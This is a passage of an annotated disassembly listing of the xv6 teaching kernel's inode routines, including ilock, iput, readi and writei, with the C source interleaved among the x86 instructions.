dip->nlink = ip->nlink;
dip->size = ip->size;
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
log_write(bp);
brelse(bp);
8010162a: e9 b1 eb ff ff jmp 801001e0 <brelse>
8010162f: 90 nop
80101630 <idup>:
// Increment reference count for ip.
// Returns ip to enable ip = idup(ip1) idiom.
struct inode*
idup(struct inode *ip)
{
80101630: 55 push %ebp
80101631: 89 e5 mov %esp,%ebp
80101633: 53 push %ebx
80101634: 83 ec 10 sub $0x10,%esp
80101637: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&icache.lock);
8010163a: 68 e0 09 11 80 push $0x801109e0
8010163f: e8 2c 2d 00 00 call 80104370 <acquire>
ip->ref++;
80101644: 83 43 08 01 addl $0x1,0x8(%ebx)
release(&icache.lock);
80101648: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
8010164f: e8 cc 2d 00 00 call 80104420 <release>
return ip;
}
80101654: 89 d8 mov %ebx,%eax
80101656: 8b 5d fc mov -0x4(%ebp),%ebx
80101659: c9 leave
8010165a: c3 ret
8010165b: 90 nop
8010165c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101660 <ilock>:
// Lock the given inode.
// Reads the inode from disk if necessary.
void
ilock(struct inode *ip)
{
80101660: 55 push %ebp
80101661: 89 e5 mov %esp,%ebp
80101663: 56 push %esi
80101664: 53 push %ebx
80101665: 8b 5d 08 mov 0x8(%ebp),%ebx
struct buf *bp;
struct dinode *dip;
if(ip == 0 || ip->ref < 1)
80101668: 85 db test %ebx,%ebx
8010166a: 0f 84 b7 00 00 00 je 80101727 <ilock+0xc7>
80101670: 8b 53 08 mov 0x8(%ebx),%edx
80101673: 85 d2 test %edx,%edx
80101675: 0f 8e ac 00 00 00 jle 80101727 <ilock+0xc7>
panic("ilock");
acquiresleep(&ip->lock);
8010167b: 8d 43 0c lea 0xc(%ebx),%eax
8010167e: 83 ec 0c sub $0xc,%esp
80101681: 50 push %eax
80101682: e8 99 2a 00 00 call 80104120 <acquiresleep>
if(ip->valid == 0){
80101687: 8b 43 4c mov 0x4c(%ebx),%eax
8010168a: 83 c4 10 add $0x10,%esp
8010168d: 85 c0 test %eax,%eax
8010168f: 74 0f je 801016a0 <ilock+0x40>
brelse(bp);
ip->valid = 1;
if(ip->type == 0)
panic("ilock: no type");
}
}
80101691: 8d 65 f8 lea -0x8(%ebp),%esp
80101694: 5b pop %ebx
80101695: 5e pop %esi
80101696: 5d pop %ebp
80101697: c3 ret
80101698: 90 nop
80101699: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
panic("ilock");
acquiresleep(&ip->lock);
if(ip->valid == 0){
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
801016a0: 8b 43 04 mov 0x4(%ebx),%eax
801016a3: 83 ec 08 sub $0x8,%esp
801016a6: c1 e8 03 shr $0x3,%eax
801016a9: 03 05 d4 09 11 80 add 0x801109d4,%eax
801016af: 50 push %eax
801016b0: ff 33 pushl (%ebx)
801016b2: e8 19 ea ff ff call 801000d0 <bread>
801016b7: 89 c6 mov %eax,%esi
dip = (struct dinode*)bp->data + ip->inum%IPB;
801016b9: 8b 43 04 mov 0x4(%ebx),%eax
ip->type = dip->type;
ip->major = dip->major;
ip->minor = dip->minor;
ip->nlink = dip->nlink;
ip->size = dip->size;
memmove(ip->addrs, dip->addrs, sizeof(ip->addrs));
801016bc: 83 c4 0c add $0xc,%esp
acquiresleep(&ip->lock);
if(ip->valid == 0){
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
dip = (struct dinode*)bp->data + ip->inum%IPB;
801016bf: 83 e0 07 and $0x7,%eax
801016c2: c1 e0 06 shl $0x6,%eax
801016c5: 8d 44 06 5c lea 0x5c(%esi,%eax,1),%eax
ip->type = dip->type;
801016c9: 0f b7 10 movzwl (%eax),%edx
ip->major = dip->major;
ip->minor = dip->minor;
ip->nlink = dip->nlink;
ip->size = dip->size;
memmove(ip->addrs, dip->addrs, sizeof(ip->addrs));
801016cc: 83 c0 0c add $0xc,%eax
acquiresleep(&ip->lock);
if(ip->valid == 0){
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
dip = (struct dinode*)bp->data + ip->inum%IPB;
ip->type = dip->type;
801016cf: 66 89 53 50 mov %dx,0x50(%ebx)
ip->major = dip->major;
801016d3: 0f b7 50 f6 movzwl -0xa(%eax),%edx
801016d7: 66 89 53 52 mov %dx,0x52(%ebx)
ip->minor = dip->minor;
801016db: 0f b7 50 f8 movzwl -0x8(%eax),%edx
801016df: 66 89 53 54 mov %dx,0x54(%ebx)
ip->nlink = dip->nlink;
801016e3: 0f b7 50 fa movzwl -0x6(%eax),%edx
801016e7: 66 89 53 56 mov %dx,0x56(%ebx)
ip->size = dip->size;
801016eb: 8b 50 fc mov -0x4(%eax),%edx
801016ee: 89 53 58 mov %edx,0x58(%ebx)
memmove(ip->addrs, dip->addrs, sizeof(ip->addrs));
801016f1: 6a 34 push $0x34
801016f3: 50 push %eax
801016f4: 8d 43 5c lea 0x5c(%ebx),%eax
801016f7: 50 push %eax
801016f8: e8 23 2e 00 00 call 80104520 <memmove>
brelse(bp);
801016fd: 89 34 24 mov %esi,(%esp)
80101700: e8 db ea ff ff call 801001e0 <brelse>
ip->valid = 1;
if(ip->type == 0)
80101705: 83 c4 10 add $0x10,%esp
80101708: 66 83 7b 50 00 cmpw $0x0,0x50(%ebx)
ip->minor = dip->minor;
ip->nlink = dip->nlink;
ip->size = dip->size;
memmove(ip->addrs, dip->addrs, sizeof(ip->addrs));
brelse(bp);
ip->valid = 1;
8010170d: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx)
if(ip->type == 0)
80101714: 0f 85 77 ff ff ff jne 80101691 <ilock+0x31>
panic("ilock: no type");
8010171a: 83 ec 0c sub $0xc,%esp
8010171d: 68 70 70 10 80 push $0x80107070
80101722: e8 49 ec ff ff call 80100370 <panic>
{
struct buf *bp;
struct dinode *dip;
if(ip == 0 || ip->ref < 1)
panic("ilock");
80101727: 83 ec 0c sub $0xc,%esp
8010172a: 68 6a 70 10 80 push $0x8010706a
8010172f: e8 3c ec ff ff call 80100370 <panic>
80101734: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8010173a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80101740 <iunlock>:
}
// Unlock the given inode.
void
iunlock(struct inode *ip)
{
80101740: 55 push %ebp
80101741: 89 e5 mov %esp,%ebp
80101743: 56 push %esi
80101744: 53 push %ebx
80101745: 8b 5d 08 mov 0x8(%ebp),%ebx
if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1)
80101748: 85 db test %ebx,%ebx
8010174a: 74 28 je 80101774 <iunlock+0x34>
8010174c: 8d 73 0c lea 0xc(%ebx),%esi
8010174f: 83 ec 0c sub $0xc,%esp
80101752: 56 push %esi
80101753: e8 68 2a 00 00 call 801041c0 <holdingsleep>
80101758: 83 c4 10 add $0x10,%esp
8010175b: 85 c0 test %eax,%eax
8010175d: 74 15 je 80101774 <iunlock+0x34>
8010175f: 8b 43 08 mov 0x8(%ebx),%eax
80101762: 85 c0 test %eax,%eax
80101764: 7e 0e jle 80101774 <iunlock+0x34>
panic("iunlock");
releasesleep(&ip->lock);
80101766: 89 75 08 mov %esi,0x8(%ebp)
}
80101769: 8d 65 f8 lea -0x8(%ebp),%esp
8010176c: 5b pop %ebx
8010176d: 5e pop %esi
8010176e: 5d pop %ebp
iunlock(struct inode *ip)
{
if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1)
panic("iunlock");
releasesleep(&ip->lock);
8010176f: e9 0c 2a 00 00 jmp 80104180 <releasesleep>
// Unlock the given inode.
void
iunlock(struct inode *ip)
{
if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1)
panic("iunlock");
80101774: 83 ec 0c sub $0xc,%esp
80101777: 68 7f 70 10 80 push $0x8010707f
8010177c: e8 ef eb ff ff call 80100370 <panic>
80101781: eb 0d jmp 80101790 <iput>
80101783: 90 nop
80101784: 90 nop
80101785: 90 nop
80101786: 90 nop
80101787: 90 nop
80101788: 90 nop
80101789: 90 nop
8010178a: 90 nop
8010178b: 90 nop
8010178c: 90 nop
8010178d: 90 nop
8010178e: 90 nop
8010178f: 90 nop
80101790 <iput>:
// to it, free the inode (and its content) on disk.
// All calls to iput() must be inside a transaction in
// case it has to free the inode.
void
iput(struct inode *ip)
{
80101790: 55 push %ebp
80101791: 89 e5 mov %esp,%ebp
80101793: 57 push %edi
80101794: 56 push %esi
80101795: 53 push %ebx
80101796: 83 ec 28 sub $0x28,%esp
80101799: 8b 75 08 mov 0x8(%ebp),%esi
acquiresleep(&ip->lock);
8010179c: 8d 7e 0c lea 0xc(%esi),%edi
8010179f: 57 push %edi
801017a0: e8 7b 29 00 00 call 80104120 <acquiresleep>
if(ip->valid && ip->nlink == 0){
801017a5: 8b 56 4c mov 0x4c(%esi),%edx
801017a8: 83 c4 10 add $0x10,%esp
801017ab: 85 d2 test %edx,%edx
801017ad: 74 07 je 801017b6 <iput+0x26>
801017af: 66 83 7e 56 00 cmpw $0x0,0x56(%esi)
801017b4: 74 32 je 801017e8 <iput+0x58>
ip->type = 0;
iupdate(ip);
ip->valid = 0;
}
}
releasesleep(&ip->lock);
801017b6: 83 ec 0c sub $0xc,%esp
801017b9: 57 push %edi
801017ba: e8 c1 29 00 00 call 80104180 <releasesleep>
acquire(&icache.lock);
801017bf: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
801017c6: e8 a5 2b 00 00 call 80104370 <acquire>
ip->ref--;
801017cb: 83 6e 08 01 subl $0x1,0x8(%esi)
release(&icache.lock);
801017cf: 83 c4 10 add $0x10,%esp
801017d2: c7 45 08 e0 09 11 80 movl $0x801109e0,0x8(%ebp)
}
801017d9: 8d 65 f4 lea -0xc(%ebp),%esp
801017dc: 5b pop %ebx
801017dd: 5e pop %esi
801017de: 5f pop %edi
801017df: 5d pop %ebp
}
releasesleep(&ip->lock);
acquire(&icache.lock);
ip->ref--;
release(&icache.lock);
801017e0: e9 3b 2c 00 00 jmp 80104420 <release>
801017e5: 8d 76 00 lea 0x0(%esi),%esi
void
iput(struct inode *ip)
{
acquiresleep(&ip->lock);
if(ip->valid && ip->nlink == 0){
acquire(&icache.lock);
801017e8: 83 ec 0c sub $0xc,%esp
801017eb: 68 e0 09 11 80 push $0x801109e0
801017f0: e8 7b 2b 00 00 call 80104370 <acquire>
int r = ip->ref;
801017f5: 8b 5e 08 mov 0x8(%esi),%ebx
release(&icache.lock);
801017f8: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
801017ff: e8 1c 2c 00 00 call 80104420 <release>
if(r == 1){
80101804: 83 c4 10 add $0x10,%esp
80101807: 83 fb 01 cmp $0x1,%ebx
8010180a: 75 aa jne 801017b6 <iput+0x26>
8010180c: 8d 8e 8c 00 00 00 lea 0x8c(%esi),%ecx
80101812: 89 7d e4 mov %edi,-0x1c(%ebp)
80101815: 8d 5e 5c lea 0x5c(%esi),%ebx
80101818: 89 cf mov %ecx,%edi
8010181a: eb 0b jmp 80101827 <iput+0x97>
8010181c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101820: 83 c3 04 add $0x4,%ebx
{
int i, j;
struct buf *bp;
uint *a;
for(i = 0; i < NDIRECT; i++){
80101823: 39 fb cmp %edi,%ebx
80101825: 74 19 je 80101840 <iput+0xb0>
if(ip->addrs[i]){
80101827: 8b 13 mov (%ebx),%edx
80101829: 85 d2 test %edx,%edx
8010182b: 74 f3 je 80101820 <iput+0x90>
bfree(ip->dev, ip->addrs[i]);
8010182d: 8b 06 mov (%esi),%eax
8010182f: e8 cc f8 ff ff call 80101100 <bfree>
ip->addrs[i] = 0;
80101834: c7 03 00 00 00 00 movl $0x0,(%ebx)
8010183a: eb e4 jmp 80101820 <iput+0x90>
8010183c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
}
}
if(ip->addrs[NDIRECT]){
80101840: 8b 86 8c 00 00 00 mov 0x8c(%esi),%eax
80101846: 8b 7d e4 mov -0x1c(%ebp),%edi
80101849: 85 c0 test %eax,%eax
8010184b: 75 33 jne 80101880 <iput+0xf0>
bfree(ip->dev, ip->addrs[NDIRECT]);
ip->addrs[NDIRECT] = 0;
}
ip->size = 0;
iupdate(ip);
8010184d: 83 ec 0c sub $0xc,%esp
brelse(bp);
bfree(ip->dev, ip->addrs[NDIRECT]);
ip->addrs[NDIRECT] = 0;
}
ip->size = 0;
80101850: c7 46 58 00 00 00 00 movl $0x0,0x58(%esi)
iupdate(ip);
80101857: 56 push %esi
80101858: e8 53 fd ff ff call 801015b0 <iupdate>
int r = ip->ref;
release(&icache.lock);
if(r == 1){
// inode has no links and no other references: truncate and free.
itrunc(ip);
ip->type = 0;
8010185d: 31 c0 xor %eax,%eax
8010185f: 66 89 46 50 mov %ax,0x50(%esi)
iupdate(ip);
80101863: 89 34 24 mov %esi,(%esp)
80101866: e8 45 fd ff ff call 801015b0 <iupdate>
ip->valid = 0;
8010186b: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi)
80101872: 83 c4 10 add $0x10,%esp
80101875: e9 3c ff ff ff jmp 801017b6 <iput+0x26>
8010187a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
ip->addrs[i] = 0;
}
}
if(ip->addrs[NDIRECT]){
bp = bread(ip->dev, ip->addrs[NDIRECT]);
80101880: 83 ec 08 sub $0x8,%esp
80101883: 50 push %eax
80101884: ff 36 pushl (%esi)
80101886: e8 45 e8 ff ff call 801000d0 <bread>
8010188b: 8d 88 5c 02 00 00 lea 0x25c(%eax),%ecx
80101891: 89 7d e0 mov %edi,-0x20(%ebp)
80101894: 89 45 e4 mov %eax,-0x1c(%ebp)
a = (uint*)bp->data;
80101897: 8d 58 5c lea 0x5c(%eax),%ebx
8010189a: 83 c4 10 add $0x10,%esp
8010189d: 89 cf mov %ecx,%edi
8010189f: eb 0e jmp 801018af <iput+0x11f>
801018a1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801018a8: 83 c3 04 add $0x4,%ebx
for(j = 0; j < NINDIRECT; j++){
801018ab: 39 fb cmp %edi,%ebx
801018ad: 74 0f je 801018be <iput+0x12e>
if(a[j])
801018af: 8b 13 mov (%ebx),%edx
801018b1: 85 d2 test %edx,%edx
801018b3: 74 f3 je 801018a8 <iput+0x118>
bfree(ip->dev, a[j]);
801018b5: 8b 06 mov (%esi),%eax
801018b7: e8 44 f8 ff ff call 80101100 <bfree>
801018bc: eb ea jmp 801018a8 <iput+0x118>
}
brelse(bp);
801018be: 83 ec 0c sub $0xc,%esp
801018c1: ff 75 e4 pushl -0x1c(%ebp)
801018c4: 8b 7d e0 mov -0x20(%ebp),%edi
801018c7: e8 14 e9 ff ff call 801001e0 <brelse>
bfree(ip->dev, ip->addrs[NDIRECT]);
801018cc: 8b 96 8c 00 00 00 mov 0x8c(%esi),%edx
801018d2: 8b 06 mov (%esi),%eax
801018d4: e8 27 f8 ff ff call 80101100 <bfree>
ip->addrs[NDIRECT] = 0;
801018d9: c7 86 8c 00 00 00 00 movl $0x0,0x8c(%esi)
801018e0: 00 00 00
801018e3: 83 c4 10 add $0x10,%esp
801018e6: e9 62 ff ff ff jmp 8010184d <iput+0xbd>
801018eb: 90 nop
801018ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801018f0 <iunlockput>:
}
// Common idiom: unlock, then put.
void
iunlockput(struct inode *ip)
{
801018f0: 55 push %ebp
801018f1: 89 e5 mov %esp,%ebp
801018f3: 53 push %ebx
801018f4: 83 ec 10 sub $0x10,%esp
801018f7: 8b 5d 08 mov 0x8(%ebp),%ebx
iunlock(ip);
801018fa: 53 push %ebx
801018fb: e8 40 fe ff ff call 80101740 <iunlock>
iput(ip);
80101900: 89 5d 08 mov %ebx,0x8(%ebp)
80101903: 83 c4 10 add $0x10,%esp
}
80101906: 8b 5d fc mov -0x4(%ebp),%ebx
80101909: c9 leave
// Common idiom: unlock, then put.
void
iunlockput(struct inode *ip)
{
iunlock(ip);
iput(ip);
8010190a: e9 81 fe ff ff jmp 80101790 <iput>
8010190f: 90 nop
80101910 <stati>:
// Copy stat information from inode.
// Caller must hold ip->lock.
void
stati(struct inode *ip, struct stat *st)
{
80101910: 55 push %ebp
80101911: 89 e5 mov %esp,%ebp
80101913: 8b 55 08 mov 0x8(%ebp),%edx
80101916: 8b 45 0c mov 0xc(%ebp),%eax
st->dev = ip->dev;
80101919: 8b 0a mov (%edx),%ecx
8010191b: 89 48 04 mov %ecx,0x4(%eax)
st->ino = ip->inum;
8010191e: 8b 4a 04 mov 0x4(%edx),%ecx
80101921: 89 48 08 mov %ecx,0x8(%eax)
st->type = ip->type;
80101924: 0f b7 4a 50 movzwl 0x50(%edx),%ecx
80101928: 66 89 08 mov %cx,(%eax)
st->nlink = ip->nlink;
8010192b: 0f b7 4a 56 movzwl 0x56(%edx),%ecx
8010192f: 66 89 48 0c mov %cx,0xc(%eax)
st->size = ip->size;
80101933: 8b 52 58 mov 0x58(%edx),%edx
80101936: 89 50 10 mov %edx,0x10(%eax)
}
80101939: 5d pop %ebp
8010193a: c3 ret
8010193b: 90 nop
8010193c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101940 <readi>:
//PAGEBREAK!
// Read data from inode.
// Caller must hold ip->lock.
int
readi(struct inode *ip, char *dst, uint off, uint n)
{
80101940: 55 push %ebp
80101941: 89 e5 mov %esp,%ebp
80101943: 57 push %edi
80101944: 56 push %esi
80101945: 53 push %ebx
80101946: 83 ec 1c sub $0x1c,%esp
80101949: 8b 45 08 mov 0x8(%ebp),%eax
8010194c: 8b 7d 0c mov 0xc(%ebp),%edi
8010194f: 8b 75 10 mov 0x10(%ebp),%esi
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
80101952: 66 83 78 50 03 cmpw $0x3,0x50(%eax)
//PAGEBREAK!
// Read data from inode.
// Caller must hold ip->lock.
int
readi(struct inode *ip, char *dst, uint off, uint n)
{
80101957: 89 7d e0 mov %edi,-0x20(%ebp)
8010195a: 8b 7d 14 mov 0x14(%ebp),%edi
8010195d: 89 45 d8 mov %eax,-0x28(%ebp)
80101960: 89 7d e4 mov %edi,-0x1c(%ebp)
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
80101963: 0f 84 a7 00 00 00 je 80101a10 <readi+0xd0>
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
return -1;
return devsw[ip->major].read(ip, dst, n);
}
if(off > ip->size || off + n < off)
80101969: 8b 45 d8 mov -0x28(%ebp),%eax
8010196c: 8b 40 58 mov 0x58(%eax),%eax
8010196f: 39 f0 cmp %esi,%eax
80101971: 0f 82 c1 00 00 00 jb 80101a38 <readi+0xf8>
80101977: 8b 7d e4 mov -0x1c(%ebp),%edi
8010197a: 89 fa mov %edi,%edx
8010197c: 01 f2 add %esi,%edx
8010197e: 0f 82 b4 00 00 00 jb 80101a38 <readi+0xf8>
return -1;
if(off + n > ip->size)
n = ip->size - off;
80101984: 89 c1 mov %eax,%ecx
80101986: 29 f1 sub %esi,%ecx
80101988: 39 d0 cmp %edx,%eax
8010198a: 0f 43 cf cmovae %edi,%ecx
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
8010198d: 31 ff xor %edi,%edi
8010198f: 85 c9 test %ecx,%ecx
}
if(off > ip->size || off + n < off)
return -1;
if(off + n > ip->size)
n = ip->size - off;
80101991: 89 4d e4 mov %ecx,-0x1c(%ebp)
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
80101994: 74 6d je 80101a03 <readi+0xc3>
80101996: 8d 76 00 lea 0x0(%esi),%esi
80101999: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
bp = bread(ip->dev, bmap(ip, off/BSIZE));
801019a0: 8b 5d d8 mov -0x28(%ebp),%ebx
801019a3: 89 f2 mov %esi,%edx
801019a5: c1 ea 09 shr $0x9,%edx
801019a8: 89 d8 mov %ebx,%eax
801019aa: e8 a1 f9 ff ff call 80101350 <bmap>
801019af: 83 ec 08 sub $0x8,%esp
801019b2: 50 push %eax
801019b3: ff 33 pushl (%ebx)
m = min(n - tot, BSIZE - off%BSIZE);
801019b5: bb 00 02 00 00 mov $0x200,%ebx
return -1;
if(off + n > ip->size)
n = ip->size - off;
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
bp = bread(ip->dev, bmap(ip, off/BSIZE));
801019ba: e8 11 e7 ff ff call 801000d0 <bread>
801019bf: 89 c2 mov %eax,%edx
m = min(n - tot, BSIZE - off%BSIZE);
801019c1: 8b 45 e4 mov -0x1c(%ebp),%eax
801019c4: 89 f1 mov %esi,%ecx
801019c6: 81 e1 ff 01 00 00 and $0x1ff,%ecx
801019cc: 83 c4 0c add $0xc,%esp
memmove(dst, bp->data + off%BSIZE, m);
801019cf: 89 55 dc mov %edx,-0x24(%ebp)
if(off + n > ip->size)
n = ip->size - off;
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
bp = bread(ip->dev, bmap(ip, off/BSIZE));
m = min(n - tot, BSIZE - off%BSIZE);
801019d2: 29 cb sub %ecx,%ebx
801019d4: 29 f8 sub %edi,%eax
801019d6: 39 c3 cmp %eax,%ebx
801019d8: 0f 47 d8 cmova %eax,%ebx
memmove(dst, bp->data + off%BSIZE, m);
801019db: 8d 44 0a 5c lea 0x5c(%edx,%ecx,1),%eax
801019df: 53 push %ebx
if(off > ip->size || off + n < off)
return -1;
if(off + n > ip->size)
n = ip->size - off;
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
801019e0: 01 df add %ebx,%edi
801019e2: 01 de add %ebx,%esi
bp = bread(ip->dev, bmap(ip, off/BSIZE));
m = min(n - tot, BSIZE - off%BSIZE);
memmove(dst, bp->data + off%BSIZE, m);
801019e4: 50 push %eax
801019e5: ff 75 e0 pushl -0x20(%ebp)
801019e8: e8 33 2b 00 00 call 80104520 <memmove>
brelse(bp);
801019ed: 8b 55 dc mov -0x24(%ebp),%edx
801019f0: 89 14 24 mov %edx,(%esp)
801019f3: e8 e8 e7 ff ff call 801001e0 <brelse>
if(off > ip->size || off + n < off)
return -1;
if(off + n > ip->size)
n = ip->size - off;
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
801019f8: 01 5d e0 add %ebx,-0x20(%ebp)
801019fb: 83 c4 10 add $0x10,%esp
801019fe: 39 7d e4 cmp %edi,-0x1c(%ebp)
80101a01: 77 9d ja 801019a0 <readi+0x60>
bp = bread(ip->dev, bmap(ip, off/BSIZE));
m = min(n - tot, BSIZE - off%BSIZE);
memmove(dst, bp->data + off%BSIZE, m);
brelse(bp);
}
return n;
80101a03: 8b 45 e4 mov -0x1c(%ebp),%eax
}
80101a06: 8d 65 f4 lea -0xc(%ebp),%esp
80101a09: 5b pop %ebx
80101a0a: 5e pop %esi
80101a0b: 5f pop %edi
80101a0c: 5d pop %ebp
80101a0d: c3 ret
80101a0e: 66 90 xchg %ax,%ax
{
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
80101a10: 0f bf 40 52 movswl 0x52(%eax),%eax
80101a14: 66 83 f8 09 cmp $0x9,%ax
80101a18: 77 1e ja 80101a38 <readi+0xf8>
80101a1a: 8b 04 c5 60 09 11 80 mov -0x7feef6a0(,%eax,8),%eax
80101a21: 85 c0 test %eax,%eax
80101a23: 74 13 je 80101a38 <readi+0xf8>
return -1;
return devsw[ip->major].read(ip, dst, n);
80101a25: 89 7d 10 mov %edi,0x10(%ebp)
m = min(n - tot, BSIZE - off%BSIZE);
memmove(dst, bp->data + off%BSIZE, m);
brelse(bp);
}
return n;
}
80101a28: 8d 65 f4 lea -0xc(%ebp),%esp
80101a2b: 5b pop %ebx
80101a2c: 5e pop %esi
80101a2d: 5f pop %edi
80101a2e: 5d pop %ebp
struct buf *bp;
if(ip->type == T_DEV){
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
return -1;
return devsw[ip->major].read(ip, dst, n);
80101a2f: ff e0 jmp *%eax
80101a31: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
return -1;
80101a38: b8 ff ff ff ff mov $0xffffffff,%eax
80101a3d: eb c7 jmp 80101a06 <readi+0xc6>
80101a3f: 90 nop
80101a40 <writei>:
// PAGEBREAK!
// Write data to inode.
// Caller must hold ip->lock.
int
writei(struct inode *ip, char *src, uint off, uint n)
{
80101a40: 55 push %ebp
80101a41: 89 e5 mov %esp,%ebp
80101a43: 57 push %edi
80101a44: 56 push %esi
80101a45: 53 push %ebx
80101a46: 83 ec 1c sub $0x1c,%esp
80101a49: 8b 45 08 mov 0x8(%ebp),%eax
80101a4c: 8b 75 0c mov 0xc(%ebp),%esi
80101a4f: 8b 7d 14 mov 0x14(%ebp),%edi
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
80101a52: 66 83 78 50 03 cmpw $0x3,0x50(%eax)
// PAGEBREAK!
// Write data to inode.
// Caller must hold ip->lock.
int
writei(struct inode *ip, char *src, uint off, uint n)
{
80101a57: 89 75 dc mov %esi,-0x24(%ebp)
80101a5a: 89 45 d8 mov %eax,-0x28(%ebp)
80101a5d: 8b 75 10 mov 0x10(%ebp),%esi
80101a60: 89 7d e0 mov %edi,-0x20(%ebp)
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
80101a63: 0f 84 b7 00 00 00 je 80101b20 <writei+0xe0>
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
return -1;
return devsw[ip->major].write(ip, src, n);
}
if(off > ip->size || off + n < off)
80101a69: 8b 45 d8 mov -0x28(%ebp),%eax
80101a6c: 39 70 58 cmp %esi,0x58(%eax)
80101a6f: 0f 82 eb 00 00 00 jb 80101b60 <writei+0x120>
80101a75: 8b 7d e0 mov -0x20(%ebp),%edi
80101a78: 89 f8 mov %edi,%eax
80101a7a: 01 f0 add %esi,%eax
return -1;
if(off + n > MAXFILE*BSIZE)
80101a7c: 3d 00 18 01 00 cmp $0x11800,%eax
80101a81: 0f 87 d9 00 00 00 ja 80101b60 <writei+0x120>
80101a87: 39 c6 cmp %eax,%esi
80101a89: 0f 87 d1 00 00 00 ja 80101b60 <writei+0x120>
return -1;
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80101a8f: 85 ff test %edi,%edi
80101a91: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
80101a98: 74 78 je 80101b12 <writei+0xd2>
80101a9a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101aa0: 8b 7d d8 mov -0x28(%ebp),%edi
80101aa3: 89 f2 mov %esi,%edx
m = min(n - tot, BSIZE - off%BSIZE);
80101aa5: bb 00 02 00 00 mov $0x200,%ebx
return -1;
if(off + n > MAXFILE*BSIZE)
return -1;
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101aaa: c1 ea 09 shr $0x9,%edx
80101aad: 89 f8 mov %edi,%eax
80101aaf: e8 9c f8 ff ff call 80101350 <bmap>
80101ab4: 83 ec 08 sub $0x8,%esp
80101ab7: 50 push %eax
80101ab8: ff 37 pushl (%edi)
80101aba: e8 11 e6 ff ff call 801000d0 <bread>
80101abf: 89 c7 mov %eax,%edi
m = min(n - tot, BSIZE - off%BSIZE);
80101ac1: 8b 45 e0 mov -0x20(%ebp),%eax
80101ac4: 2b 45 e4 sub -0x1c(%ebp),%eax
80101ac7: 89 f1 mov %esi,%ecx
80101ac9: 83 c4 0c add $0xc,%esp
80101acc: 81 e1 ff 01 00 00 and $0x1ff,%ecx
80101ad2: 29 cb sub %ecx,%ebx
80101ad4: 39 c3 cmp %eax,%ebx
80101ad6: 0f 47 d8 cmova %eax,%ebx
memmove(bp->data + off%BSIZE, src, m);
80101ad9: 8d 44 0f 5c lea 0x5c(%edi,%ecx,1),%eax
80101add: 53 push %ebx
80101ade: ff 75 dc pushl -0x24(%ebp)
if(off > ip->size || off + n < off)
return -1;
if(off + n > MAXFILE*BSIZE)
return -1;
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80101ae1: 01 de add %ebx,%esi
bp = bread(ip->dev, bmap(ip, off/BSIZE));
m = min(n - tot, BSIZE - off%BSIZE);
memmove(bp->data + off%BSIZE, src, m);
80101ae3: 50 push %eax
80101ae4: e8 37 2a 00 00 call 80104520 <memmove>
log_write(bp);
80101ae9: 89 3c 24 mov %edi,(%esp)
80101aec: e8 2f 12 00 00 call 80102d20 <log_write>
brelse(bp);
80101af1: 89 3c 24 mov %edi,(%esp)
80101af4: e8 e7 e6 ff ff call 801001e0 <brelse>
if(off > ip->size || off + n < off)
return -1;
if(off + n > MAXFILE*BSIZE)
return -1;
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80101af9: 01 5d e4 add %ebx,-0x1c(%ebp)
80101afc: 01 5d dc add %ebx,-0x24(%ebp)
80101aff: 83 c4 10 add $0x10,%esp
80101b02: 8b 55 e4 mov -0x1c(%ebp),%edx
80101b05: 39 55 e0 cmp %edx,-0x20(%ebp)
80101b08: 77 96 ja 80101aa0 <writei+0x60>
memmove(bp->data + off%BSIZE, src, m);
log_write(bp);
brelse(bp);
}
if(n > 0 && off > ip->size){
80101b0a: 8b 45 d8 mov -0x28(%ebp),%eax
80101b0d: 3b 70 58 cmp 0x58(%eax),%esi
80101b10: 77 36 ja 80101b48 <writei+0x108>
ip->size = off;
